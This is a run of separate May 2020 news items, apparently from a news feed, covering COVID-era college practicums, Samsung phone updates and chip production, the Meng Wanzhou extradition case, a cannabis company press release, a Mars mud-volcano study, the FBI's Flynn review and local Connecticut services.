"You need to take practicums to become a nurse. I'm just wondering how they're going to do them and what changes there will be."

The University of Calgary said it is reviewing all experiential learning options as it prioritizes the health and safety of students.

Each faculty is assessing off-site practicum opportunities and if that is not yet possible students may be provided with alternative experiences "to help ensure they are not delayed in continuing their program," the school said in a statement.

Amanda Baskwill, associate dean of allied health in the faculty of health sciences and wellness at Humber College in Toronto, said students in courses such as massage therapy have faced a few challenges in online classes compared with other courses.

Baskwill said instructors for the three-year program adapted as much as possible and demonstrated techniques via video with someone in their home.

"They were videos of skills the students were able to view and if there was someone in their home, they could practise with that was an opportunity for them to try something new," she said.

Students learning a trade are also being challenged by the limitations posed by lack of in-class instruction.

Ed Dunn works as an instrumentation mechanic who maintains equipment at the Canfor pulp and paper mill in Prince George as part of his apprenticeship training through the British Columbia Institute of Technology.

Classes were cancelled on March 16, just as he was supposed to return to Metro Vancouver for three weeks of schooling.

Dunn and his classmates began learning theory online instead of getting access to the mechanical equipment in the program that stresses practical experience.

"I'd never done online classes and I'm sure a lot of other students are in the same situation," said Dunn, who ensures quality control of paper based on instruments he maintains at Canfor.

Despite the uncertainty, he's looking forward to the start of further classes at BCIT to meet his goal of becoming a journeyman after four years of education.

"We're supposed to go back on June 15 for the practical side of things but it's going to be completely different, with all the new restrictions and regulations and the safety precautions that will be in place," he said.

"For me it's not so bad. I have to just do one more year and tough it out but if you're starting at the beginning it might be a little different," he said of programs that prepare students to work in a variety of heavy industry jobs.

Those enrolled in either the technician or apprenticeship programs will have to adapt until they can access equipment that will prepare them for the jobs they're seeking, Dunn said.

"If you're behind a laptop you could probably do some simulator training but you're not going to get that hands-on experience that something's wrong with your instrument and you have to either calibrate it or fix it."

A spokeswoman for BCIT said the school is preparing to announce its plans to students as soon as possible.

Jim Armstrong, who heads the industrial instrumentation department at BCIT, said he and his colleagues are working on plans to make the transition as smooth as possible.

Physical distancing requirements involve having to source out personal protective equipment, Armstrong said, adding there must be "serious buy-in" from students to maintain health and safety protocols.

"Right now, I know we're having difficulty sourcing masks and things like that so the question then becomes, how do we achieve that? That's something that is foremost for BCIT," he said.

"In the trade that I'm teaching there are people working on figuring out how we can do the distancing but it's not easy. There are people literally working around the clock to find solutions."

Equipment will have to be cleaned after every use to reduce the risk of the virus that causes COVID-19 from being passed on, Armstrong said.

"I've got 30 litres of isopropyl alcohol in my garage right now that I gotta take over to BCIT to make sure they can spray everything and wipe it all down before they touch it," he said of computer screens, keyboards and tools.

"That's going to put some very interesting operational constraints on the students and their learning. And if they all buy into it, it can work."

This report by The Canadian Press was first published May 21, 2020.
Samsung is rolling out yet another major update to the flagship Galaxy S20 series. The new ATE6 update will fix several camera issues encountered on the Galaxy S20, S20+ and S20 Ultra smartphones. The update is already available for both the Snapdragon and Exynos variants in South Korea and Europe.

It comes with the firmware versions G98*NKSU1ATE6 in South Korea and G98*BXXU2ATE6 in Europe. In the next few days, we should be seeing the update in other regions as well. It is also the second software update these devices are getting with the Android security patch for the month of May 2020.

Galaxy S20 series get new update with several camera improvements

Earlier this month, the company released an update intended to fix the camera issues. We now have a new update with even more camera fixes.

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The latest update comes with a download size of around 439MB. You can also manually check for the latest OTA update by going to Settings > Software update > Download.

This new update will finally fix the autofocus issue on the Galaxy S20 devices. In the past, several users reported the photos taken on the Galaxy S20 were blurry in some cases.

The newly added Close-Up Zoom feature will help the large 108MP sensor on the Galaxy S20 Ultra focus better on the objects close to 10cm.

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The devices will now perform better in low-light

Even the Galaxy S20 and S20+ will be able to focus on the subject faster when moving around. In addition, the device can now capture better photos using the Night mode.

As per the changelog, this new update will also improve the sound quality of the stereo speakers. Also, the fingerprint sensor on these devices should be a tad faster with this new update.

Samsung used the same first-gen ultrasonic fingerprint sensor which was first introduced with the Galaxy S10 series.

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In terms of camera performance, the Samsung Galaxy S20 series with larger camera sensors failed to match the latest iPhones. However, the new OTA updates should certainly improve the camera quality on these devices.

The 100x zoom on the Galaxy S20 Ultra never worked as intended. There is a severe loss in quality which makes the photos worthless.

As per the leaks, Samsung will drop the 100x Space Zoom branding from the upcoming Galaxy Note 20 series. We should also expect a new foldable Galaxy smartphone in the second half of this year.
FILE PHOTO: The logo of Samsung Electronics is seen at its office building in Seoul

SEOUL (Reuters) - Samsung Electronics Co Ltd <005930.KS> has begun work on a sixth domestic contract chip production line, the company said on Thursday, to make logic chips for mobile phones and computers as it looks to cut reliance on the volatile memory chip sector.

The South Korean firm is taking on bigger rival Taiwan Semiconductor Manufacturing Co Ltd (TSMC) <2330.TW> in the contract manufacturing business, where it competes for orders from customers such as Qualcomm Inc <QCOM.O>.

"This new production facility will expand Samsungs manufacturing capabilities," the company said in a statement on Thursday.

Samsung is targeting the second half of next year to start producing advanced 5 nanometre chips, using extreme ultraviolet (EUV) technology, on the added line in its plant in Pyeongtaek city, within a two-hour drive of the capital, Seoul.

"This is Samsung's effort to narrow the gap with TSMC, as it still lags behind TSMC in the contract chip making market," said Park Sung-soon, an analyst at Cape Investment & Securities.

TSMC, the world's biggest contract chipmaker, plans to build a $12 billion factory in the U.S. state of Arizona, it said last week.

Samsung now operates five foundry lines in South Korea and one in the United States.

Last year, Samsung said it planned to invest 133 trillion won ($107.97 billion) in non-memory chips through 2030, comprising 73 trillion won for domestic R&D and 60 trillion won for production infrastructure.

This month, President Moon Jae-in said he aimed to nurture the non-memory industry in his agenda to foster economic growth.

South Korea's chip exports for the first 20 days of May soared 13.4%, while exports of mobile devices and cars collapsed 11.2% and 58.6% respectively, customs data showed.

($1=1,231.81 won)

(Reporting by Heekyong Yang and Hyunjoo Jin; Editing by Christopher Cushing and Clarence Fernandez)
Judgment on Key Aspect of Huawei CFOs Extradition Trial in Canada Due May 27

A decision on a key legal aspect of the trial over whether Huawei Technologies Chief Financial Officer Meng Wanzhou can be extradited to the United States from Canada will be announced May 27, the British Columbia Supreme Court said on Thursday.

Meng was arrested in December 2018 at Vancouver International Airport at the request of the United States on charges of bank fraud, and is accused of misleading HSBC about a Huawei Technologies Co Ltd-owned companys dealings with Iran.

Meng, 48, has said she is innocent and is fighting extradition.

The case has strained relations between Ottawa and Beijing.

The judgment will deal with the charge of double criminality, deciding whether Mengs actions were crimes in both Canada and the United States at the time of her arrest.

Mengs lawyers argued that unlike the United States, Canada did not have sanctions against Iran at the time Canadian officials authorized the start of the extradition process, meaning Mengs arrest did not meet the legal standard of double criminality.

Canadian prosecutors have argued that Meng should be extradited on fraud charges, and that contrary to her defence argument, the case is not solely about a violation of U.S. sanctions against Iran.

Should the judge rule that Mengs actions were not a crime in Canada, the rest of the case dies, said Gary Botting, a criminal defence lawyer and extradition expert based in Vancouver. If the double-criminality standard falls, she gets to go home. Not just walk but fly.

Arguments on the double-criminality charge took place in January in Vancouver.

A court memo on Thursday said British Columbia Supreme Court Associate Chief Justice Heather Holmes would preside over an in-person court appearance by Meng and the other parties, once the decision is released at 11 a.m. Pacific next Wednesday.

A second phase of the trial, focusing on abuse of process and whether Canadian officials followed the law while arresting Meng, is set to begin in June. Closing arguments are expected in the last week of September and the first week of October.

It could be years before a final decision is reached, since Canadas justice system allows many decisions to be appealed.

By Moira Warburton
Phoenix, Arizona--(Newsfile Corp. - May 22, 2020) - The Stock Day Podcast welcomed Orchid Ventures, Inc. (OTC Pink: ORVRF) ("the Company"), an Irvine, CA-based innovation company that has developed a mass-market brand and loyal consumer following with its premium cannabis products and unique vape hardware delivery system. CEO of the Company, Corey Mangold, joined Stock Day host Everett Jolly.

Jolly began the interview by asking Mangold about the Company's background and current projects. "Orchid Ventures started out in August of 2017 with a line of cannabis vaporizer products. We actually engineered and manufactured a very unique vaporizer device that was universal," shared Mangold. "We struggled in the last year with capital," he added. "We started to transform the business and shift our entire business model," explained Mangold. "We launched a subdivision called PurTec Delivery Systems that manages a line of several different vaporizer products that are all emissions tested, and of course leach tested, and are the most documented and tested cartridges we've ever seen on the market," said Mangold. "We launched that company about a month ago, that's going very well. We're very pleased with its performance."

Mangold also shared that the Company has begun to license out their Orchid Essentials brand. "Last week, we signed a licensing deal with a multi-state operator that will be taking the Orchid brand, manufacturing all of our products to our standards, and basically acting like a franchisee across Oregon, Colorado, and Oklahoma," said Mangold.

"Another subdivision, which we've just launched about two months ago, is a company called CELLg8 Sciences," continued Mangold. "CELLg8 is a technology that we've licensed within the THC market globally and exclusively. It's one of the only technologies in the world that can be used in cannabis that has clinical studies and is peer-reviewed and published," said Mangold. "We will have our first products using CELLg8 technology in retail in about three to four weeks."

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Jolly then commented on the challenges of the cannabis industry and asked Mangold about the Company's strategy in overcoming these realities. "The industry is shifting a lot," said Mangold. "There are a lot of difficulties in owning a cannabis touching company," he continued, adding that these challenges include banking, competing with the illegal cannabis industry, and shifting regulations. "The shift in our business to not be a cannabis company anymore and to be an ancillary company that supports the industry with the tools and resources it needs while not actually touching cannabis and not having facilities and licenses, allows us to act as more of a traditional company and have traditional resources for capital and financing."

To close the interview, Mangold expressed his confidence in the Company's evolving strategies. "We're not the type of business that is going to sit around and wait for things to happen. We're proactive," said Mangold. "We're evolving and becoming a company that is on the cutting edge."

To hear Corey Mangold's entire interview, follow the link to the podcast here: https://audioboom.com/posts/7588937-orchid-ventures-inc-discusses-evolving-business-model-with-the-stock-day-podcast

Investors Hangout is a proud sponsor of "Stock Day," and Stock Day Media encourages listeners to visit the company's message board at https://investorshangout.com/

ABOUT ORCHID ESSENTIALS

Orchid Essentials is an Irvine, CA-based innovation company that launched in Oregon and California in August 2017 and has since developed a mass-market brand and loyal consumer following with its premium cannabis products and unique vape hardware delivery system. Since July 2019, Orchid has diversified its efforts and has brought to market innovative services and product offerings to support brands throughout the global cannabis industry. Orchid has diversified its portfolio to include PurTec Delivery Systems, a company that produces, markets and sells clean vaporizer hardware that has been emissions tested against the most stringent standards in the world set forth by the EU and has unrivaled product quality and value pricing. Orchid, through its wholly owned subsidiary, has launched a patented and clinically proven bioavailability solution to increase the absorption of THC and other cannabinoids making products much more effective and an activation time of less than five minutes. With a continued focus on brand and intellectual property development, Orchid will continue to create new and innovative products and technologies, then bring them to the global cannabis marketplace and set the gold standard for delivery systems whether it's vape or formulation sciences. Orchid's management brings significant branding, product development and distribution experience with a proven track record of scaling businesses and building sustainable revenue growth through value-generating partnerships and innovation that creates enterprise value. Learn more at https://orchidessentials.com/

ON BEHALF OF THE BOARD OF DIRECTORS - ORCHID VENTURES, INC.

Corey Mangold

CEO and Director

investors@orchidessentials.com

Investor Relations

Corey Mangold

949-357-5818

corey@orchidessentials.com

The CSE does not accept responsibility for the adequacy or accuracy of this release.

Safe Harbor Statement

Except for historical information contained herein, statements in this release may be forward-looking and made pursuant to the safe harbor provisions of the U.S. Private Securities Litigation Reform Act of 1995. Words such as "anticipate", "believe", "estimate", "expect", "intend" and similar expressions, as they relate to Orchid Ventures, Inc. and Orchid Essentials any of its affiliates or subsidiaries (collectively, the "Company") or its management, identify forward-looking statements. These statements are based on current expectations, estimates and projections about the Company's business based, in part, on assumptions made by management. These statements are not guarantees of future performance and involve risks, uncertainties, and assumptions that are difficult to predict. Therefore, actual outcomes and results may, and probably will, differ materially from what is expressed or forecasted in such forward-looking statements due to numerous factors, including those described above and those risks discussed from time to time in the Company's Canadian securities regulatory filings with sedar.com, Factors which could cause actual results to differ materially from these forward-looking statements include such factors as (i) the development and protection of our brands and other intellectual property, (ii) the need to raise capital to meet business requirements, (iii) significant fluctuations in marketing expenses, (iv) the ability to achieve and expand significant levels of revenues, or recognize net income, from the sale of our products and services, (v) the Company's ability to conduct the business if there are changes in laws, regulations, or government policies related to cannabis, (vi) management's ability to attract and maintain qualified personnel necessary for the development and commercialization of its planned products, and (vii) other information that may be detailed from time to time in the Company's Canadian securities regulatory filings with sedar.com. The Company undertakes no obligation to publicly update or revise any forward-looking statements, whether as a result of new information, future events or otherwise.

About The "Stock Day" Podcast

Founded in 2013, Stock Day is the fastest growing media outlet for Nano-Cap and Micro-Cap companies. It educates investors while simultaneously working with penny stock and OTC companies, providing transparency and clarification of under-valued, under-sold Micro-Cap stocks of the market. Stock Day provides companies with customized solutions to their news distribution in both national and international media outlets. The Stock Day Podcast is the number one radio show of its kind in America. Stock Day recently launched its Video Interview Studio located in Phoenix, Arizona.

SOURCE:

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(602) 821-1102

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/56379
Local churches continue to offer services to their congregants via alternative service options. Some have announced plans to allow congregants back into the buildings within the next few weeks. Others are sticking with the online service route.

Here's a list of where and when they're hosting services:
Writer Marc Guggenheim has been signed by Sony to pen a script for an upcoming project the studio hopes will establish its next female superhero, titled Jackpot.

The 49-year-old Long Island native has extensive experience with the material, having past, Deadline reported.

The Emmy-winner, who created the popular show Arrow, will pen the film script about the character, whose backstory is that of pregnant scientist Sara Ehret.

The latest: Writer Marc Guggenheim, 49, has been signed by Sony to pen a script for an upcoming project the studio hopes will establish its next female superhero, titled Jackpot

In the comics, Ehret's exposed to a virus that alters her DNA, giving her superhero strength.

The character later turned over her title to a friend who would be killed fighting a rival named Menace alongside Spider-Man, leading Ehret to step back into her crime-fighting role.

Guggenheim has also past worked comics featuring iconic characters including Superman/Batman, Aquaman and Spider-Man.

News of the move comes a day after Variety on Wednesday reported that Sony execs, coveting a female superhero to market films around, inked TV director S.J. Clarkson to direct a project called Madame Web, also based off a Marvel character.

Collaboration: The heroine is seen fighting alongside Spider-Man

At the helm: Sony is also looking to veteran TV director S.J. Clarkson to lead a separate project with a female superhero

Established: Marvel currently has the popular character Captain Marvel, played by Brie Larson, which it works on with Disney

Clarkson has been 'on short lists to direct several major tentpoles' with her emerging reputation after directing episodes of Jessica Jones for Netflix and HBO's Succession.

Marvel currently has the popular character Captain Marvel, played by Brie Larson, which it works on with Disney; while Gal Gadot's turn as Wonder Woman made for an international hit and new tent-pole franchise for DC and Warner Bros.

Sources said no meetings or offers have been made to any performers - execs are looking at Amy Adams and Charlize Theron for the role - as a number of essential personnel decisions remain undetermined early into the project, including who will write the script.

Amid the planning, Hollywood remains largely shut down amid lockdown efforts to combat the spread of the coronavirus, with productions folding up and studios shutting down.
The Independent Investor: Chinese Checkers

If you are wondering why China is suddenly back in the news on various political and economic fronts, look no further than the November elections. America needs a scapegoat for all the pain and suffering we have endured during this pandemic. The world's second-largest economy is an easy target.

There is no dispute; if we want to cast blame on the country that originated the coronavirus, we know it originated in Wuhan, China. At the time, the World Health Organization, the U.S. Centers for Disease Control (CDC), the federal government, the White House, and the world at large, all applauded China's efforts to contain the virus. Back then (a few short months ago), President Trump actually applauded President Xi's efforts and said so many times publicly.

Since then, more than 5 million cases of COVID-19 and 330,000 deaths have been reported worldwide. Untold damage has been done to world economies. The United States, one of the worst-hit nations, has suffered massive unemployment and a big decline in economic growth that has led to our first recession in more than a decade. And all of this has occurred in an election year.

Whether warranted or not, President Trump and his administration have taken the lion's share of the blame for America's poor showing in combating the virus. A late and disorganized response, lack of medical equipment, and a continued paucity of testing, are some of the accusations directed at the White House. Donald Trump, however, believes that the best defense is a good offense. Who better to direct our angst and unhappiness at than China?

No never mind that Trump announced a "historic" but feeble trade agreement with that nation less than six months ago. Today, with Chinese promised purchases falling short as a result of their own virus-weakened economy, Trump is threatening to break the deal; but there is more.

Today, it's about preventing U.S. companies from doing business with Huawei Technologies, a Chinese leader in 5G technology for wireless networks. Last week, a new rule bars the Chinese company and its suppliers from using American technology and software. The escalation will hurt a number of American semiconductor companies that are already reeling from the present recession, but I am sure that somehow, someway, they will be compensated for their losses.

This week, the U.S. Senate voted (by unanimous consent) a bill that would expel Chinese companies from all U.S. stock exchanges if they continue to deny inspectors access to their accounting audits. The argument is that China has continued to ignore American demands that if they want to list their companies on an American exchange, they are required to submit to a U.S. audit and the Securities and Exchange Commission (SEC) will have access to those financials.

This bill, which will now go to the House, follows on the heels of an order by the president that the federal retirement board, called the Thrift Savings Plan, which invests retirees' stock portfolios, hold off on any new investment plans that might include buying Chinese companies, or any index funds that might include them in their offerings.

The estimated $4 billion in potential new investments, while small in comparison to the hundreds of billions in tax-deferred savings managed by the plan, is now off the table. The explanation for the move, provided by the White House, was that the national security and humanitarian risks of those investments were significant and violated U.S. sanctions rules.

I believe all of these actions appear to be an effort to refocus America's attention away from blaming those in charge for their COVID-19 response. They are doing so by escalating tensions and continuing the blame game, started three years ago, with what now appears to be America's number-one arch enemy, China.
As provinces, countries and the world as a whole struggle to re-start economies, some policymakers are pitching a four-day work week as a way to help generate tourism spending.

New Zealand's prime minister is recommending a compressed work week as a way to encourage more weekend travel within the country, where about 60 per cent of tourism is domestic.

The theory is that more flexible working arrangements will help promote more staycations that are generally conducive to long-weekend travel. And it's being welcomed by some politicians in B.C., too.

"It's a very interesting idea that should be considered," said Cowichan Valley MLA Sonia Furstenau. "It's one example of the kind of nimbleness that we need to think about when we approach this COVID-19 recovery."

She has long been a supporter of a shorter work week, even highlighting it in her campaign platform to become the next leader of the B.C. Green Party.

In the past, she has praised the benefits of productivity and work-life balance, and says the current pandemic could be the impetus to trigger healthier long-term habits.

"A mandatory four-day work week...would increase costs and add regulatory complexity for employers in every sector." - Jock Finlayson, Business Council of British Columbia

"In a suite of possible approaches, this seems to be one that would be well-suited to British Columbia  particularly given our domestic tourism as an important part of our local recovery," she told CBC News.

Furstenau believes it's not a policy that should be mandatory, and therefore would not require legislative changes, but rather suggests it be led by employers. Still, she believes government can play a role.

"You don't want to impose a top-down approach to this, but rather encourage businesses to consider it," she said. "There could be incentives provided by federal or provincial governments."

So is a four-day work week something the current NDP government would endorse for British Columbians?

Story continues

"I think I will leave that up to the entrepreneurial spirit of British Columbian businesses and the workers," said Labour Minister Harry Bains when asked about it a news conference Thursday.

"Many already have different work schedules; some work four days on, four days off; others have staggered hours," he said. "At the end of the day, we as a government want to make sure we support those businesses and their initiatives."

'B.C. is not New Zealand'

Some in the province's business community are not welcoming the idea so warmly  especially if a compressed work week was required, rather than simply encouraged.

"In the current pandemic-driven economic crisis, business does not support government-imposed measures that would further increase operating and labour costs, and thus make it harder for companies to hire back employees," said Jock Finlayson, chief policy officer of the Business Council of British Columbia.

He said the approach makes no sense for firms that have seen revenues drop significantly or collapse altogether, adding there is no need at this point for the province to consider 'drastic steps.'

"B.C. is not New Zealand... A mandatory four-day work week, especially if not accompanied by proportionate pay reductions, would increases costs and add regulatory complexity for employers in every sector," Finlayson said in a statement.

Ben Nelms/CBC

'A number of ideas  and that's a good one'

B.C.'s tourism industry has all but come to a halt since the pandemic hit in March and is looking at its options.

"There's a number of ideas  and that's a good one," said Walt Judas, CEO of the Tourism Industry Association of B.C., who calls it a novel concept.

He believes extending weekends would encourage people to hop in their car and go further afield than a two-day weekend, so it could benefit some communities as people travel between regions.

"Any initiatives like this we would certainly want to look at to see if it is, in fact, a motivation for people to travel. We'd like to think it is, but on the other hand people may still choose to stay closer to home," he said in an interview Thursday.

Roshini Nair/CBC

However, even if B.C. does benefit from a bump in domestic travellers, many of the most popular outdoor activities in the province are free.

"Having people travel to other jurisdictions is great, but if they're only on a hiking trail and not spending money at a restaurant or going to an attraction or staying at a hotel  that doesn't help businesses that are desperate for visitors."

Judas also wonders whether tourist facilities will be ready to accept an influx in visitors in time to cash in on the peak summer tourism season from May-September.

"It's the nearby, short-haul travel market that is your bread and butter," he said, adding the bulk of tourism dollars in the province are generated from residents of British Columbia.
India believes there is urgent need for major reforms in WHO: Harsh Vardhan

Harsh Vardhan applauds 'White coat warriors' for going beyond call of duty to attend to patients

From Prasad, Javadekar to Harsh Vardhan: List of ministers who have resigned

Harsh Vardhan to take charge as WHO Executive Board Chairman today

India

oi-Vicky Nanjappa

New Delhi, May 22: Union Health Minister Harsh Vardhan, is set to take charge as the chairman of the World Health Organisation (WHO) Executive Board today.

Vardhan would succeed Dr Hiroki Nakatani of Japan, currently the Chairman of the 34-member WHO Executive Board.

The proposal to appoint India's nominee to the executive board was signed by the 194-nation World Health Assembly on Tuesday, officials said on condition of anonymity.

COVID-19 to push 60 million into poverty: World Bank

Vardhan's taking over the post seems to be a formality after the decision that he will be India's nominee as the WHO's South-East Asia group had unanimously decided last year that India would be elected to the executive board for a three-year-term beginning on May.

RBI slashes repo rates by 40 basis points to 4% to boost growth, other measure

Vardhan would be elected at the Executive Board meeting of the World Health Organisation on May 22, the officials said.

The chairman's post is held by rotation for one year among regional groups and it was decided last year that India's nominee would be the Executive Board chairman for the first year starting Friday.

It is not a full time assignment and the minister will just be required to chair the Executive Board's meetings, an official said.

The Executive Board is composed of 34 individuals technically qualified in the field of health, each one designated by a member state elected to do so by the World Health Assembly. Member States are elected for three-year terms.

The Board meets at least twice a year and the main meeting is normally in January, with a second shorter meeting in May, immediately after the Health Assembly.

The main functions of the Executive Board are to give effect to the decisions and policies of the Health Assembly, to advise it and generally to facilitate its work.

Addressing the 73rd World Health Assembly via video conferencing on Monday, Vardhan had said India took all the necessary steps well in time to combat the COVID-19 pandemic.

He had asserted that the country has done well in dealing with the disease and is confident of doing better in the months to come.

Coronavirus crisis: Nation records second-biggest single-day spike in COVID-19 cases in India

India is set to take over the chairmanship of the Executive Board amid growing calls, including by US President Donald Trump, to investigate how the coronavirus originated in China's Wuhan city and subsequent action by Beijing.
The northern lowlands of Mars apparently have volcanoes that number in the tens of thousands; the apparent mud volcano has fingers and ripples that look like lava surrounding them. However, geologists are not in agreement regarding their true nature. They doubt if the bumpy formations are magma that have been frozen, and they believe that there are water reservoirs beneath them.

There are some volcanoes on our planet that spew mud instead of lava or molten rock, which made scientists speculate if the ones on Mars are also mud volcanoes. Czech Academy of Sciences geophysicist Petr Broz says that they are not, because the circumstances that make such formations, particularly in the precise burying of sediments, are very unusual. In addition, it is questionable if mud sloshes after being exposed to a frigid environment.

Broz and colleagues recreated the circumstances in the laboratory, and they published their findings in the journal Nature Geoscience. They found that mud on Mars' surface flows almost in the same manner as lava does on our planet. Their findings mean that the structures found on the red planet may be hard mud or rock.

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This complicates matters, according to Broz, because they have to use other ways to tell the differences between lava and mud beyond their shape.

Broz has scrutinized photographs of Mars for ten years and wanted to prove that these volcanic structures were made of rocks. He eventually thought of a way to do so by determining if mud can flow in the location by using UK's Open Univ. Mars Chamber, a cylinder that simulates the Martian environment.

Broz and colleagues chilled a sand bed to -20F and put it inside the chamber. An apparatus was set up to pour water solution with fine particles over this bed.

The near-vacuum environment caused the mud to boil, which removed the heat and cooled until the mud crust was frozen. Then, the liquid interior got free and formed rivulets, which poured down like lava, cooling upon air contact.

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Lancaster University geologist Lionel Wilson, who helped in analyzing the physics part of the experiment, said that the creeping and breaking out of the materials do resemble the behavior of lave flowing from a volcano. Scientists speculate that these structures may contain ancient life on Mars.

Broz concluded that mud might not freeze, but it may smoothly flow long enough to account for the possible existence of volcanoes. Still, he says that the shapes that look like lava flowing may be different structures.

Arizona Planetary Science Institute senior scientist Dorothy Oehler says that the study will help scientists understand if the features that have been previously identified as lava may have been rocks and mud all along.

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More studies on mud could help scientists identify the behavior of Martian mud. For instance, Broz and his collaborators are preparing a publication that details strange behavior when liquid is poured on "warm" sand with a temperature of 70F. The sand violently boiled enough to levitate for a short time.

Exploring it is almost impossible, however, as the InSight lander of NASA found. Ancient Martian mud may have ancient microbes in it; and mud volcanoes could now be the focus of scientists' search for sources of life.

READ NEXT : Satellite Galaxies Can Help Us Understand Dark Matter's Nature
WASHINGTON - FBI Director Christopher Wray has ordered an internal review into possible misconduct in the investigation of former Trump administration national security adviser Michael Flynn, the bureau said Friday.

The after-action review will examine whether any current employees engaged in misconduct during the course of the investigation and evaluate whether any improvements in FBI policies and procedures need to be made.

In announcing the review, the FBI, a frequent target of President Donald Trumps wrath, is stepping into a case that has become a rallying cry for Trump supporters  and doing so right as the Justice Department pushes back against criticism that its recent decision to dismiss the prosection was a politically motivated effort to do Trumps bidding.

The announcement adds to the internal scrutiny over one of special counsel Robert Muellers signature prosecutions during his investigation into ties between Russia and Trumps 2016 presidential campaign. It underscores how a case that was seemingly resolved by Flynns 2017 guilty plea has instead given way to a protracted, politically charged debate about FBI and Justice Department tactics during that investigation and the Russia probe more broadly.

The unusual review will be led by the bureaus Inspection Division, which conducts internal investigations into potential employee misconduct. Trump has recently been sharply critical of the FBI, and suggested earlier this month that Wrays fate as director could be in limbo. An FBI official said Friday that the review had been contemplated for some time and that the FBI has co-operated with multiple Russia-related internal inquiries.

Although the FBI does not have authority on its own to bring a criminal prosecution, the after-action review will look at whether any current employees engaged in misconduct deserving of discipline. The division cannot take disciplinary action against former employees.

It is not clear how many officials involved in the Flynn investigation remain with the FBI. Several prominent officials  including former Director James Comey, former Deputy Director Andrew McCabe and former agent Peter Strzok, who interviewed Flynn  have either been fired or have otherwise left the bureau.

The FBI did not say what sort of potential misconduct it was looking for in the investigation of Flynn, who pleaded guilty to lying to agents about conversations with the Russian ambassador during the presidential transition period. But the case has long been a subject of outrage for Trump and his allies, who have alleged that Flynn was effectively set up to lie when the FBI questioned him at the White House in January 2017.

Those concerns were given new life earlier this month when the Justice Department moved to dismiss the case and identified a series of what it says were problems in the way Flynn was investigated.

The departments motion to dismiss alleged that agents had insufficient basis to interview Flynn in the first place, especially since the FBI was prepared earlier in the month to close out its investigation into Flynn after finding no crime. It says any imperfect statements he may have made during the interview were not material to the underlying investigation into ties between Russia and Trumps presidential campaign.

Attorney General William Barr, who earlier this year overruled the sentencing recommendation of prosecutors in the case of Trump associate Roger Stone, defended the Flynn decision and said in a television interview that he was doing the laws bidding and correcting what he felt was an injustice.

The Justice Department noted that he was acting on the recommendation of U.S. Attorney Jeff Jensen of St. Louis, who was assigned by Barr to review the Flynn case.

But the move outraged former law enforcement officials involved in the case, who said the Justice Department had ignored the seriousness of the false statements that Flynn admitted making, as well as the gravity of their national security concerns about Flynns interactions with the ambassador, Sergey Kislyak.

Flynn admitted in his guilty plea that he lied about having asked Kislyak to refrain from escalating the situation in response to sanctions imposed against Russia by the Obama administration for election interference. Obama administration Justice Department officials subsequently warned the Trump White House about that conversation, saying public misrepresentations about it left Flynn vulnerable to being blackmailed by Russia.

The request to dismiss the case has triggered its own internal back-and-forth in the courts.

U.S. District Judge Emmet Sullivan has assigned a retired judge to argue against the Justice Departments position. Flynns attorneys have asked a federal appeals court to order Sullivan to dismiss the case, and to reassign any future court proceedings to another judge. An appeals court panel, meanwhile, has asked Sullivan to respond to the defence request.

The FBI said that in addition to its own internal review, it has co-operated and been transparent with multiple inquiries assigned by Barr, including lending its own agents to the Jensen probe. The FBI has also co-operated with an investigation into the origins of the Russia investigation, led by U.S. Attorney John Durham of Connecticut.

Director Wray authorized this additional level of review now that the Department of Justice, through Mr. Jensens work, has developed sufficient information to determine how to proceed in the Flynn case, the FBI statement said. However, Mr. Jensens work will continue to take priority, and the Director has further ordered the Inspection Division to co-ordinate closely with Mr. Jensen and ensure that the review does not interfere with or impede his efforts.

_____

Follow Eric Tucker on Twitter at http://www.twitter.com/etuckerAP
TORRINGTON  In a continued effort to combat COVID-19, American Family Care (AFC), the nations leading provider of urgent care and accessible primary care, is now offering the antibody blood test the government has approved for emergency use during the coronavirus pandemic. The test can detect whether someone has been exposed to COVID-19. AFC is administering the antibody tests at its urgent care clinics in 3 Danbury centers, Torrington, Vernon, West Hartford and New Britain.

Patients interested in getting the antibody test at AFC must meet several requirements. No one with current COVID-19 symptoms will qualify, and all patients who think they were exposed to coronavirus must wait at least ten days before getting tested. An appointment is not required to get an antibody test at AFC. Patients can use AFC TeleCare, a virtual medicine platform, to make an appointment if they would like. Once the test is completed, AFC sends the test to a certified lab for validation and results. Patients should receive those results within 24-48 hours.

AFC urgent care clinics are also continuing to provide COVID-19 testing to Connecticut families.

If you have symptoms of the virus or think you have been exposed to someone who has tested positive, we can give you an FDA approved PCR nasal swab test, explains Iftikhar Ali, medical director of AFC. Our medical providers can evaluate your symptoms over AFC TeleCare or curbside visit. If you meet the requirements for a test, you will be scheduled for a COVID-19 test.

All AFC urgent care clinics provide drive-up COVID-19 testing and is covered by most insurances including Medicare, Medicaid, Husky, Tricare, VA Benefits and also offers low self-pay options for uninsured patients. AFC Urgent Care locations are open seven days a week: Monday-Friday 8 a.m.-8 p.m., and on weekends from 8 a.m.-5 p.m. for Covid-19 and non-COVID-19 related illnesses and injuries. Find the nearest location by visiting www.afcurgentcare.com

VITA offering tax services

While VITA sites across Connecticut suspended in-person support in compliance with COVID-19 distancing mandates, the VITA program now offers free tax help to low and moderate income filers through internet-based virtual appointments.

The Internal Revenue Service and Connecticut State Department of Revenue Services have extended their deadlines to file and pay federal income taxes to July 15, 2020.

Connecticut tax filers with 2019 incomes up to $56,000 who wish to make a free virtual VITA appointment with a VITA representative in their region may visit may visit 211ct.org/taxhelp or call 2-1-1 and press 3 and then 6.

To participate in the virtual VITA program, taxpayers must have access to technology (smartphone, tablet or computer) and access to WiFi. They must also have a valid phone number and email address.

MyFreeTaxes.com is also available for individuals who are interested in preparing their tax return online. MyFreeTaxes.com is free to all tax filers; there is no income requirement.

To prepare for their virtual VITA appointments, tax filers must gather all their 2019 tax documentation, including picture ID, social security cards or Taxpayer Identification Number, birth dates for the filer, spouse and dependents; wage and earnings statements (Form W-2, W2G, 1099-R, 1099-Misc from all their 2018 employers); interest and dividend statements from banks; a copy of their 2018 tax return; proof of bank account routing numbers and account numbers for direct deposit of refunds; daycare payments and the daycare providers identification number; and health coverage statements. Learn more about what to bring to your virtual VITA appointment here.

VITA coalitions across Connecticut will continually assess the Center for Disease Control and Prevention and Connecticut social distancing guidelines to determine if VITA sites may be re-opened.

To help prevent the spread of COVID-19, VITA coalitions recommend that the community visit coronavirus.gov and cdc.gov. For information on economic impact and other payments, visit IRS.gov.

Credit union invites nominations

American Eagle Financial Credit Union invites its members and the general public to nominate qualified, local nonprofit organizations to be considered for its participatory funding program, Cash Back to the Community.

